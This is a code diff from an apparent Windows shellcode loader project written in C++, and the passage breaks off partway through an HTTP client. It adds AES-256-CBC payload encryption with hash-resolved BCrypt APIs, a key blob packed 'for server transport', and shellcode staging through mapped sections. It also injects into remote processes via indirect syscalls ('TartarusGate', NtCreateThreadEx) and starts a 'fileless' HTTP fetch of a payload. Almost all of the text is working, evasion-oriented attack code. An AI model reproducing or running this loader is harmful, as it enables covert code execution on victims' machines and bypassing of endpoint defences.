using BCryptCloseAlgorithmProvider_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, ULONG);
|
||||
using BCryptGenerateSymmetricKey_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, BCRYPT_KEY_HANDLE*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG);
|
||||
using BCryptDestroyKey_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE);
|
||||
using BCryptEncrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG);
|
||||
using BCryptDecrypt_t = NTSTATUS(WINAPI*)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, VOID*, PUCHAR, ULONG, PUCHAR, ULONG, ULONG*, ULONG);
|
||||
using BCryptSetProperty_t = NTSTATUS(WINAPI*)(BCRYPT_HANDLE, LPCWSTR, PUCHAR, ULONG, ULONG);
|
||||
using BCryptGenRandom_t = NTSTATUS(WINAPI*)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
|
||||
|
||||
struct BcryptApi {
|
||||
BCryptOpenAlgorithmProvider_t Open = nullptr;
|
||||
BCryptCloseAlgorithmProvider_t Close = nullptr;
|
||||
BCryptGenerateSymmetricKey_t GenKey = nullptr;
|
||||
BCryptDestroyKey_t DestroyKey = nullptr;
|
||||
BCryptEncrypt_t Encrypt = nullptr;
|
||||
BCryptDecrypt_t Decrypt = nullptr;
|
||||
BCryptSetProperty_t SetProperty = nullptr;
|
||||
BCryptGenRandom_t GenRandom = nullptr;
|
||||
bool loaded = false;
|
||||
};
|
||||
|
||||
bool LoadBcrypt(BcryptApi& api) {
|
||||
if (api.loaded) {
|
||||
return true;
|
||||
}
|
||||
|
||||
api.Open = reinterpret_cast<BCryptOpenAlgorithmProvider_t>(
|
||||
ApiResolver::ResolveBcrypt(Hashes::H_BCryptOpenAlgorithmProvider));
|
||||
api.Close = reinterpret_cast<BCryptCloseAlgorithmProvider_t>(
|
||||
ApiResolver::ResolveBcrypt(Hashes::H_BCryptCloseAlgorithmProvider));
|
||||
api.GenKey = reinterpret_cast<BCryptGenerateSymmetricKey_t>(
|
||||
ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenerateSymmetricKey));
|
||||
api.DestroyKey = reinterpret_cast<BCryptDestroyKey_t>(
|
||||
ApiResolver::ResolveBcrypt(Hashes::H_BCryptDestroyKey));
|
||||
api.Encrypt = reinterpret_cast<BCryptEncrypt_t>(
|
||||
ApiResolver::ResolveBcrypt(Hashes::H_BCryptEncrypt));
|
||||
api.Decrypt = reinterpret_cast<BCryptDecrypt_t>(
|
||||
ApiResolver::ResolveBcrypt(Hashes::H_BCryptDecrypt));
|
||||
api.SetProperty = reinterpret_cast<BCryptSetProperty_t>(
|
||||
ApiResolver::ResolveBcrypt(Hashes::H_BCryptSetProperty));
|
||||
|
||||
// BCryptGenRandom is in bcrypt.dll but not in our hash table — resolve by adding hash
|
||||
api.GenRandom = reinterpret_cast<BCryptGenRandom_t>(
|
||||
ApiResolver::ResolveBcrypt(Hashes::H_BCryptGenRandom));
|
||||
|
||||
api.loaded = api.Open && api.Close && api.GenKey && api.DestroyKey &&
|
||||
api.Encrypt && api.Decrypt && api.SetProperty && api.GenRandom;
|
||||
return api.loaded;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool GenerateKeyMaterial(KeyMaterial& out) {
|
||||
Log::Dbg("AES: GenerateKeyMaterial (BCryptGenRandom system RNG)");
|
||||
BcryptApi api{};
|
||||
if (!LoadBcrypt(api)) {
|
||||
Log::Dbg("AES: bcrypt API resolve failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
out.key.resize(32);
|
||||
out.iv.resize(16);
|
||||
|
||||
// BCryptGenRandom with NULL handle requires BCRYPT_USE_SYSTEM_PREFERRED_RNG on Win8+.
|
||||
constexpr ULONG kSystemRng = 0x00000002;
|
||||
if (!NT_SUCCESS(api.GenRandom(nullptr, out.key.data(), static_cast<ULONG>(out.key.size()), kSystemRng)) ||
|
||||
!NT_SUCCESS(api.GenRandom(nullptr, out.iv.data(), static_cast<ULONG>(out.iv.size()), kSystemRng))) {
|
||||
Log::Dbg("AES: GenRandom failed");
|
||||
return false;
|
||||
}
|
||||
Log::Dbg("AES: key=%zu bytes iv=%zu bytes", out.key.size(), out.iv.size());
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Encrypt(const std::vector<BYTE>& plaintext, const KeyMaterial& km, std::vector<BYTE>& ciphertext) {
|
||||
Log::Dbg("AES Encrypt: plain=%zu key=%zu iv=%zu mode=AES-256-CBC",
|
||||
plaintext.size(), km.key.size(), km.iv.size());
|
||||
if (km.key.size() != 32 || km.iv.size() != 16 || plaintext.empty()) {
|
||||
Log::Dbg("AES Encrypt: bad args");
|
||||
return false;
|
||||
}
|
||||
|
||||
BcryptApi api{};
|
||||
if (!LoadBcrypt(api)) {
|
||||
Log::Dbg("AES Encrypt: bcrypt API resolve failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
BCRYPT_ALG_HANDLE hAlg = nullptr;
|
||||
if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) {
|
||||
return false;
|
||||
}
|
||||
|
||||
api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
|
||||
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
||||
|
||||
BCRYPT_KEY_HANDLE hKey = nullptr;
|
||||
if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0,
|
||||
const_cast<PUCHAR>(km.key.data()), static_cast<ULONG>(km.key.size()), 0))) {
|
||||
api.Close(hAlg, 0);
|
||||
return false;
|
||||
}
|
||||
|
||||
std::vector<BYTE> ivWork = km.iv;
|
||||
|
||||
ULONG cipherLen = 0;
|
||||
api.Encrypt(hKey, const_cast<PUCHAR>(plaintext.data()), static_cast<ULONG>(plaintext.size()),
|
||||
nullptr, ivWork.data(), static_cast<ULONG>(ivWork.size()),
|
||||
nullptr, 0, &cipherLen, BCRYPT_BLOCK_PADDING);
|
||||
|
||||
ciphertext.resize(cipherLen);
|
||||
ULONG written = 0;
|
||||
NTSTATUS st = api.Encrypt(
|
||||
hKey,
|
||||
const_cast<PUCHAR>(plaintext.data()), static_cast<ULONG>(plaintext.size()),
|
||||
nullptr,
|
||||
ivWork.data(), static_cast<ULONG>(ivWork.size()),
|
||||
ciphertext.data(), static_cast<ULONG>(ciphertext.size()),
|
||||
&written, BCRYPT_BLOCK_PADDING);
|
||||
|
||||
api.DestroyKey(hKey);
|
||||
api.Close(hAlg, 0);
|
||||
|
||||
if (!NT_SUCCESS(st)) {
|
||||
Log::Dbg("AES Encrypt: BCryptEncrypt failed NTSTATUS=0x%08lX",
|
||||
static_cast<unsigned long>(st));
|
||||
return false;
|
||||
}
|
||||
ciphertext.resize(written);
|
||||
Log::Dbg("AES Encrypt OK: cipher=%zu bytes", ciphertext.size());
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Decrypt(const std::vector<BYTE>& ciphertext, const KeyMaterial& km, std::vector<BYTE>& plaintext) {
|
||||
Log::Dbg("AES Decrypt: cipher=%zu key=%zu iv=%zu mode=AES-256-CBC",
|
||||
ciphertext.size(), km.key.size(), km.iv.size());
|
||||
if (km.key.size() != 32 || km.iv.size() != 16 || ciphertext.empty()) {
|
||||
Log::Dbg("AES Decrypt: bad args");
|
||||
return false;
|
||||
}
|
||||
|
||||
BcryptApi api{};
|
||||
if (!LoadBcrypt(api)) {
|
||||
Log::Dbg("AES Decrypt: bcrypt API resolve failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
BCRYPT_ALG_HANDLE hAlg = nullptr;
|
||||
if (!NT_SUCCESS(api.Open(&hAlg, BCRYPT_AES_ALGORITHM, nullptr, 0))) {
|
||||
return false;
|
||||
}
|
||||
|
||||
api.SetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
|
||||
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
||||
|
||||
BCRYPT_KEY_HANDLE hKey = nullptr;
|
||||
if (!NT_SUCCESS(api.GenKey(hAlg, &hKey, nullptr, 0,
|
||||
const_cast<PUCHAR>(km.key.data()), static_cast<ULONG>(km.key.size()), 0))) {
|
||||
api.Close(hAlg, 0);
|
||||
return false;
|
||||
}
|
||||
|
||||
std::vector<BYTE> ivWork = km.iv;
|
||||
|
||||
ULONG plainLen = 0;
|
||||
api.Decrypt(hKey, const_cast<PUCHAR>(ciphertext.data()), static_cast<ULONG>(ciphertext.size()),
|
||||
nullptr, ivWork.data(), static_cast<ULONG>(ivWork.size()),
|
||||
nullptr, 0, &plainLen, BCRYPT_BLOCK_PADDING);
|
||||
|
||||
plaintext.resize(plainLen);
|
||||
ULONG written = 0;
|
||||
NTSTATUS st = api.Decrypt(
|
||||
hKey,
|
||||
const_cast<PUCHAR>(ciphertext.data()), static_cast<ULONG>(ciphertext.size()),
|
||||
nullptr,
|
||||
ivWork.data(), static_cast<ULONG>(ivWork.size()),
|
||||
plaintext.data(), static_cast<ULONG>(plaintext.size()),
|
||||
&written, BCRYPT_BLOCK_PADDING);
|
||||
|
||||
api.DestroyKey(hKey);
|
||||
api.Close(hAlg, 0);
|
||||
|
||||
if (!NT_SUCCESS(st)) {
|
||||
Log::Dbg("AES Decrypt: BCryptDecrypt failed NTSTATUS=0x%08lX",
|
||||
static_cast<unsigned long>(st));
|
||||
return false;
|
||||
}
|
||||
plaintext.resize(written);
|
||||
Log::Dbg("AES Decrypt OK: plain=%zu bytes", plaintext.size());
|
||||
return true;
|
||||
}
|
||||
|
||||
std::vector<BYTE> PackKeyMaterial(const KeyMaterial& km) {
|
||||
std::vector<BYTE> blob;
|
||||
auto appendU32 = [&](DWORD v) {
|
||||
blob.push_back(static_cast<BYTE>(v & 0xFF));
|
||||
blob.push_back(static_cast<BYTE>((v >> 8) & 0xFF));
|
||||
blob.push_back(static_cast<BYTE>((v >> 16) & 0xFF));
|
||||
blob.push_back(static_cast<BYTE>((v >> 24) & 0xFF));
|
||||
};
|
||||
appendU32(static_cast<DWORD>(km.key.size()));
|
||||
blob.insert(blob.end(), km.key.begin(), km.key.end());
|
||||
appendU32(static_cast<DWORD>(km.iv.size()));
|
||||
blob.insert(blob.end(), km.iv.begin(), km.iv.end());
|
||||
return blob;
|
||||
}
|
||||
|
||||
bool UnpackKeyMaterial(const std::vector<BYTE>& blob, KeyMaterial& out) {
|
||||
if (blob.size() < 8) {
|
||||
return false;
|
||||
}
|
||||
size_t off = 0;
|
||||
auto readU32 = [&]() -> DWORD {
|
||||
DWORD v = blob[off] | (blob[off + 1] << 8) | (blob[off + 2] << 16) | (blob[off + 3] << 24);
|
||||
off += 4;
|
||||
return v;
|
||||
};
|
||||
|
||||
const DWORD keyLen = readU32();
|
||||
if (off + keyLen > blob.size()) {
|
||||
return false;
|
||||
}
|
||||
out.key.assign(blob.begin() + off, blob.begin() + off + keyLen);
|
||||
off += keyLen;
|
||||
|
||||
if (off + 4 > blob.size()) {
|
||||
return false;
|
||||
}
|
||||
const DWORD ivLen = readU32();
|
||||
if (off + ivLen > blob.size()) {
|
||||
return false;
|
||||
}
|
||||
out.iv.assign(blob.begin() + off, blob.begin() + off + ivLen);
|
||||
return out.key.size() == 32 && out.iv.size() == 16;
|
||||
}
|
||||
|
||||
bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath) {
|
||||
std::ifstream in(inputPath, std::ios::binary | std::ios::ate);
|
||||
if (!in.is_open()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const auto size = in.tellg();
|
||||
in.seekg(0);
|
||||
std::vector<BYTE> plain(static_cast<size_t>(size));
|
||||
if (!in.read(reinterpret_cast<char*>(plain.data()), size)) {
|
||||
return false;
|
||||
}
|
||||
in.close();
|
||||
|
||||
KeyMaterial km{};
|
||||
if (!GenerateKeyMaterial(km)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
std::vector<BYTE> cipher;
|
||||
if (!Encrypt(plain, km, cipher)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
outEncPath = inputPath + L".enc";
|
||||
outKeyPath = inputPath + L".key";
|
||||
|
||||
std::ofstream enc(outEncPath, std::ios::binary);
|
||||
std::ofstream key(outKeyPath, std::ios::binary);
|
||||
if (!enc.is_open() || !key.is_open()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
enc.write(reinterpret_cast<const char*>(cipher.data()), cipher.size());
|
||||
auto packed = PackKeyMaterial(km);
|
||||
key.write(reinterpret_cast<const char*>(packed.data()), packed.size());
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath,
|
||||
std::vector<BYTE>& plaintext) {
|
||||
std::ifstream enc(encPath, std::ios::binary | std::ios::ate);
|
||||
std::ifstream key(keyPath, std::ios::binary | std::ios::ate);
|
||||
if (!enc.is_open() || !key.is_open()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
std::vector<BYTE> cipher(static_cast<size_t>(enc.tellg()));
|
||||
std::vector<BYTE> packed(static_cast<size_t>(key.tellg()));
|
||||
enc.seekg(0);
|
||||
key.seekg(0);
|
||||
enc.read(reinterpret_cast<char*>(cipher.data()), cipher.size());
|
||||
key.read(reinterpret_cast<char*>(packed.data()), packed.size());
|
||||
|
||||
KeyMaterial km{};
|
||||
if (!UnpackKeyMaterial(packed, km)) {
|
||||
return false;
|
||||
}
|
||||
return Decrypt(cipher, km, plaintext);
|
||||
}
|
||||
|
||||
} // namespace AesCrypto
|
||||
@@ -0,0 +1,33 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <vector>
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
|
||||
namespace AesCrypto {
|
||||
|
||||
struct KeyMaterial {
|
||||
std::vector<BYTE> key; // 32 bytes (AES-256)
|
||||
std::vector<BYTE> iv; // 16 bytes (CBC block)
|
||||
};
|
||||
|
||||
// Generate cryptographically random key + IV via BCryptGenRandom (resolved dynamically).
|
||||
bool GenerateKeyMaterial(KeyMaterial& out);
|
||||
|
||||
// AES-256-CBC encrypt/decrypt using BCrypt (all APIs hash-resolved).
|
||||
bool Encrypt(const std::vector<BYTE>& plaintext, const KeyMaterial& km, std::vector<BYTE>& ciphertext);
|
||||
bool Decrypt(const std::vector<BYTE>& ciphertext, const KeyMaterial& km, std::vector<BYTE>& plaintext);
|
||||
|
||||
// Pack key+IV for server transport: [4 keyLen][key][4 ivLen][iv]
|
||||
std::vector<BYTE> PackKeyMaterial(const KeyMaterial& km);
|
||||
bool UnpackKeyMaterial(const std::vector<BYTE>& blob, KeyMaterial& out);
|
||||
|
||||
// Encrypt file to .enc + sidecar key blob (for --enc AES mode).
|
||||
bool EncryptFileToDisk(const std::wstring& inputPath, std::wstring& outEncPath, std::wstring& outKeyPath);
|
||||
|
||||
// Read encrypted payload + key from disk.
|
||||
bool ReadEncryptedPayload(const std::wstring& encPath, const std::wstring& keyPath,
|
||||
std::vector<BYTE>& plaintext);
|
||||
|
||||
} // namespace AesCrypto
|
||||
@@ -0,0 +1,237 @@
|
||||
#include "section_map.hpp"
|
||||
#include "../resolve/api_resolver.hpp"
|
||||
#include "../common/hashes.hpp"
|
||||
#include "../common/log.hpp"
|
||||
|
||||
#include "../common/log.hpp"
|
||||
|
||||
#include <cstring>
|
||||
#include <iostream>
|
||||
|
||||
namespace SectionMap {
|
||||
|
||||
SIZE_T PageAlign(SIZE_T size) {
|
||||
const SIZE_T page = 4096;
|
||||
return (size + page - 1) & ~(page - 1);
|
||||
}
|
||||
|
||||
bool StageLocal(
|
||||
TartarusGate::SyscallTable& sc,
|
||||
const std::vector<BYTE>& shellcode,
|
||||
MappedRegion& out)
|
||||
{
|
||||
Log::Banner("Section Map StageLocal");
|
||||
if (!sc.initialized || shellcode.empty()) {
|
||||
Log::Dbg("StageLocal abort: initialized=%d empty=%d",
|
||||
sc.initialized ? 1 : 0, shellcode.empty() ? 1 : 0);
|
||||
return false;
|
||||
}
|
||||
|
||||
out = {};
|
||||
|
||||
LARGE_INTEGER maxSize{};
|
||||
maxSize.QuadPart = static_cast<LONGLONG>(PageAlign(shellcode.size()));
|
||||
Log::Sys("NtCreateSection: MaxSize=%lld Access=SECTION_ALL_ACCESS Prot=PAGE_READWRITE SEC_COMMIT",
|
||||
maxSize.QuadPart);
|
||||
|
||||
HANDLE hSection = nullptr;
|
||||
NTSTATUS st = sc.NtCreateSection(
|
||||
&hSection,
|
||||
SECTION_ALL_ACCESS,
|
||||
nullptr,
|
||||
&maxSize,
|
||||
PAGE_READWRITE,
|
||||
SEC_COMMIT,
|
||||
nullptr);
|
||||
Log::NtStatus("NtCreateSection", st);
|
||||
|
||||
if (!NT_SUCCESS(st) || !hSection) {
|
||||
return false;
|
||||
}
|
||||
Log::Sys("section handle=%p", hSection);
|
||||
|
||||
PVOID localView = nullptr;
|
||||
SIZE_T viewSize = 0;
|
||||
Log::Sys("NtMapViewOfSection: self Process CommitSize=%zu Prot=PAGE_READWRITE",
|
||||
static_cast<size_t>(PageAlign(shellcode.size())));
|
||||
st = sc.NtMapViewOfSection(
|
||||
hSection,
|
||||
GetCurrentProcess(),
|
||||
&localView,
|
||||
0,
|
||||
PageAlign(shellcode.size()),
|
||||
nullptr,
|
||||
&viewSize,
|
||||
ViewShare,
|
||||
0,
|
||||
PAGE_READWRITE);
|
||||
Log::NtStatus("NtMapViewOfSection", st);
|
||||
|
||||
if (!NT_SUCCESS(st) || !localView) {
|
||||
sc.NtClose(hSection);
|
||||
return false;
|
||||
}
|
||||
Log::Sys("mapped RW view=%p viewSize=%zu", localView, static_cast<size_t>(viewSize));
|
||||
|
||||
std::memcpy(localView, shellcode.data(), shellcode.size());
|
||||
Log::Dbg("copied %zu shellcode bytes into view", shellcode.size());
|
||||
|
||||
// W^X: transition mapped view to RX.
|
||||
ULONG oldProt = 0;
|
||||
PVOID protBase = localView;
|
||||
SIZE_T protSize = viewSize;
|
||||
Log::Sys("NtProtectVirtualMemory: view=%p NewProt=PAGE_EXECUTE_READ (W^X)", localView);
|
||||
st = sc.NtProtectVirtualMemory(
|
||||
GetCurrentProcess(),
|
||||
&protBase,
|
||||
&protSize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&oldProt);
|
||||
Log::NtStatus("NtProtectVirtualMemory", st);
|
||||
|
||||
if (!NT_SUCCESS(st)) {
|
||||
sc.NtUnmapViewOfSection(GetCurrentProcess(), localView);
|
||||
sc.NtClose(hSection);
|
||||
return false;
|
||||
}
|
||||
Log::Dbg("oldProt=0x%08lX", static_cast<unsigned long>(oldProt));
|
||||
|
||||
out.section = hSection;
|
||||
out.localView = localView;
|
||||
out.viewSize = viewSize;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool MapRemote(
|
||||
TartarusGate::SyscallTable& sc,
|
||||
HANDLE targetProcess,
|
||||
MappedRegion& region)
|
||||
{
|
||||
if (!sc.initialized || !region.section || region.mappedRemote) {
|
||||
return false;
|
||||
}
|
||||
|
||||
PVOID remoteView = nullptr;
|
||||
SIZE_T viewSize = region.viewSize;
|
||||
NTSTATUS st = sc.NtMapViewOfSection(
|
||||
region.section,
|
||||
targetProcess,
|
||||
&remoteView,
|
||||
0,
|
||||
0,
|
||||
nullptr,
|
||||
&viewSize,
|
||||
1,
|
||||
0,
|
||||
PAGE_EXECUTE_READ);
|
||||
|
||||
if (!NT_SUCCESS(st) || !remoteView) {
|
||||
return false;
|
||||
}
|
||||
|
||||
region.remoteView = remoteView;
|
||||
region.mappedRemote = true;
|
||||
region.viewSize = viewSize;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry) {
|
||||
Log::Banner("ExecuteLocal (CreateThread)");
|
||||
if (!sc.initialized || !entry) {
|
||||
Log::Dbg("ExecuteLocal abort: initialized=%d entry=%p",
|
||||
sc.initialized ? 1 : 0, entry);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Hash resolved CreateThread matches original loader behavior for msfvenom style shellcode.
|
||||
auto* k32 = ApiResolver::GetKernel32();
|
||||
if (!k32) {
|
||||
Log::Dbg("kernel32 base null");
|
||||
return false;
|
||||
}
|
||||
|
||||
using CreateThread_t = HANDLE(WINAPI*)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
using WaitForSingleObject_t = DWORD(WINAPI*)(HANDLE, DWORD);
|
||||
using CloseHandle_t = BOOL(WINAPI*)(HANDLE);
|
||||
|
||||
auto* pCreateThread = reinterpret_cast<CreateThread_t>(
|
||||
ApiResolver::ResolveExport(k32, Hashes::H_CreateThread));
|
||||
auto* pWait = reinterpret_cast<WaitForSingleObject_t>(
|
||||
ApiResolver::ResolveExport(k32, Hashes::H_WaitForSingleObject));
|
||||
auto* pClose = reinterpret_cast<CloseHandle_t>(
|
||||
ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle));
|
||||
|
||||
if (!pCreateThread || !pWait || !pClose) {
|
||||
Log::Err("CreateThread hash resolve failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
Log::Sys("ExecuteLocal: CreateThread entry=%p (API hash 0x%08X) pCreate=%p",
|
||||
entry, Hashes::H_CreateThread, pCreateThread);
|
||||
|
||||
DWORD tid = 0;
|
||||
HANDLE hThread = pCreateThread(nullptr, 0,
|
||||
reinterpret_cast<LPTHREAD_START_ROUTINE>(entry), nullptr, 0, &tid);
|
||||
if (!hThread) {
|
||||
Log::Err("CreateThread failed (%lu)", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
Log::Raw("thread TID=%lu handle=%p — WaitForSingleObject(INFINITE)", tid, hThread);
|
||||
const DWORD waitRc = pWait(hThread, INFINITE);
|
||||
Log::Dbg("WaitForSingleObject rc=%lu", waitRc);
|
||||
pClose(hThread);
|
||||
Log::Dbg("thread exited, handle closed");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry) {
|
||||
if (!sc.initialized || !targetProcess || !entry) {
|
||||
return false;
|
||||
}
|
||||
|
||||
HANDLE hThread = nullptr;
|
||||
NTSTATUS st = sc.NtCreateThreadEx(
|
||||
&hThread,
|
||||
THREAD_ALL_ACCESS,
|
||||
nullptr,
|
||||
targetProcess,
|
||||
entry,
|
||||
nullptr,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
nullptr);
|
||||
|
||||
if (!NT_SUCCESS(st) || !hThread) {
|
||||
return false;
|
||||
}
|
||||
|
||||
sc.NtClose(hThread);
|
||||
return true;
|
||||
}
|
||||
|
||||
void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess) {
|
||||
if (!sc.initialized) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (region.localView) {
|
||||
sc.NtUnmapViewOfSection(GetCurrentProcess(), region.localView);
|
||||
region.localView = nullptr;
|
||||
}
|
||||
|
||||
if (region.mappedRemote && region.remoteView && targetProcess) {
|
||||
sc.NtUnmapViewOfSection(targetProcess, region.remoteView);
|
||||
region.remoteView = nullptr;
|
||||
region.mappedRemote = false;
|
||||
}
|
||||
|
||||
if (region.section) {
|
||||
sc.NtClose(region.section);
|
||||
region.section = nullptr;
|
||||
}
|
||||
}
|
||||
|
||||
} // namespace SectionMap
|
||||
@@ -0,0 +1,44 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <cstdint>
|
||||
#include <vector>
|
||||
|
||||
#include "../syscall/tartarus_gate.hpp"
|
||||
|
||||
namespace SectionMap {
|
||||
|
||||
struct MappedRegion {
|
||||
HANDLE section = nullptr;
|
||||
PVOID localView = nullptr;
|
||||
PVOID remoteView = nullptr;
|
||||
SIZE_T viewSize = 0;
|
||||
bool mappedRemote = false;
|
||||
};
|
||||
|
||||
// Stage shellcode via anonymous section + NtMapViewOfSection (W^X).
|
||||
// Replaces naive NtAllocateVirtualMemory for local ingestion.
|
||||
bool StageLocal(
|
||||
TartarusGate::SyscallTable& sc,
|
||||
const std::vector<BYTE>& shellcode,
|
||||
MappedRegion& out);
|
||||
|
||||
// Map staged section into remote process (shared section object).
|
||||
bool MapRemote(
|
||||
TartarusGate::SyscallTable& sc,
|
||||
HANDLE targetProcess,
|
||||
MappedRegion& region);
|
||||
|
||||
// Execute shellcode locally via NtCreateThreadEx (indirect syscall).
|
||||
bool ExecuteLocal(TartarusGate::SyscallTable& sc, PVOID entry);
|
||||
|
||||
// Execute in remote process via NtCreateThreadEx.
|
||||
bool ExecuteRemote(TartarusGate::SyscallTable& sc, HANDLE targetProcess, PVOID entry);
|
||||
|
||||
// Release views and section handle.
|
||||
void Cleanup(TartarusGate::SyscallTable& sc, MappedRegion& region, HANDLE targetProcess);
|
||||
|
||||
// Align size to page boundary.
|
||||
SIZE_T PageAlign(SIZE_T size);
|
||||
|
||||
} // namespace SectionMap
|
||||
@@ -0,0 +1,361 @@
|
||||
#ifndef WIN32_LEAN_AND_MEAN
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#endif
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <Windows.h>
|
||||
|
||||
#include "http_transport.hpp"
|
||||
#include "../resolve/api_resolver.hpp"
|
||||
#include "../common/hashes.hpp"
|
||||
#include "../common/log.hpp"
|
||||
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <cstring>
|
||||
|
||||
namespace HttpTransport {
|
||||
|
||||
namespace {
|
||||
|
||||
struct WinsockApi {
|
||||
decltype(&WSAStartup) WSAStartupFn = nullptr;
|
||||
decltype(&WSACleanup) WSACleanupFn = nullptr;
|
||||
decltype(&socket) socketFn = nullptr;
|
||||
decltype(&connect) connectFn = nullptr;
|
||||
decltype(&send) sendFn = nullptr;
|
||||
decltype(&recv) recvFn = nullptr;
|
||||
decltype(&closesocket) closesocketFn = nullptr;
|
||||
decltype(&bind) bindFn = nullptr;
|
||||
decltype(&listen) listenFn = nullptr;
|
||||
decltype(&accept) acceptFn = nullptr;
|
||||
decltype(&getaddrinfo) getaddrinfoFn = nullptr;
|
||||
decltype(&freeaddrinfo) freeaddrinfoFn = nullptr;
|
||||
decltype(&setsockopt) setsockoptFn = nullptr;
|
||||
bool loaded = false;
|
||||
bool started = false;
|
||||
};
|
||||
|
||||
bool LoadWinsock(WinsockApi& ws) {
|
||||
if (ws.loaded) {
|
||||
return true;
|
||||
}
|
||||
|
||||
ws.WSAStartupFn = reinterpret_cast<decltype(ws.WSAStartupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSAStartup));
|
||||
ws.WSACleanupFn = reinterpret_cast<decltype(ws.WSACleanupFn)>(ApiResolver::ResolveWs2(Hashes::H_WSACleanup));
|
||||
ws.socketFn = reinterpret_cast<decltype(ws.socketFn)>(ApiResolver::ResolveWs2(Hashes::H_socket));
|
||||
ws.connectFn = reinterpret_cast<decltype(ws.connectFn)>(ApiResolver::ResolveWs2(Hashes::H_connect));
|
||||
ws.sendFn = reinterpret_cast<decltype(ws.sendFn)>(ApiResolver::ResolveWs2(Hashes::H_send));
|
||||
ws.recvFn = reinterpret_cast<decltype(ws.recvFn)>(ApiResolver::ResolveWs2(Hashes::H_recv));
|
||||
ws.closesocketFn = reinterpret_cast<decltype(ws.closesocketFn)>(ApiResolver::ResolveWs2(Hashes::H_closesocket));
|
||||
ws.bindFn = reinterpret_cast<decltype(ws.bindFn)>(ApiResolver::ResolveWs2(Hashes::H_bind));
|
||||
ws.listenFn = reinterpret_cast<decltype(ws.listenFn)>(ApiResolver::ResolveWs2(Hashes::H_listen));
|
||||
ws.acceptFn = reinterpret_cast<decltype(ws.acceptFn)>(ApiResolver::ResolveWs2(Hashes::H_accept));
|
||||
ws.getaddrinfoFn = reinterpret_cast<decltype(ws.getaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_getaddrinfo));
|
||||
ws.freeaddrinfoFn= reinterpret_cast<decltype(ws.freeaddrinfoFn)>(ApiResolver::ResolveWs2(Hashes::H_freeaddrinfo));
|
||||
ws.setsockoptFn = reinterpret_cast<decltype(ws.setsockoptFn)>(ApiResolver::ResolveWs2(Hashes::H_setsockopt));
|
||||
|
||||
ws.loaded = ws.WSAStartupFn && ws.socketFn && ws.connectFn && ws.sendFn && ws.recvFn;
|
||||
return ws.loaded;
|
||||
}
|
||||
|
||||
bool EnsureWinsock(WinsockApi& ws) {
|
||||
if (!LoadWinsock(ws)) {
|
||||
return false;
|
||||
}
|
||||
if (!ws.started) {
|
||||
WSADATA wsa{};
|
||||
if (ws.WSAStartupFn(MAKEWORD(2, 2), &wsa) != 0) {
|
||||
return false;
|
||||
}
|
||||
ws.started = true;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool HttpGet(const Endpoint& ep, const char* path, std::vector<std::uint8_t>& body) {
|
||||
Log::Banner("HTTP GET (fileless client)");
|
||||
Log::Info("GET http://%s:%u%s", ep.host.c_str(), ep.port, path);
|
||||
|
||||
WinsockApi ws{};
|
||||
if (!EnsureWinsock(ws)) {
|
||||
Log::Dbg("winsock load/WSAStartup failed");
|
||||
return false;
|
||||
}
|
||||
Log::Dbg("winsock ready");
|
||||
|
||||
addrinfo hints{};
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
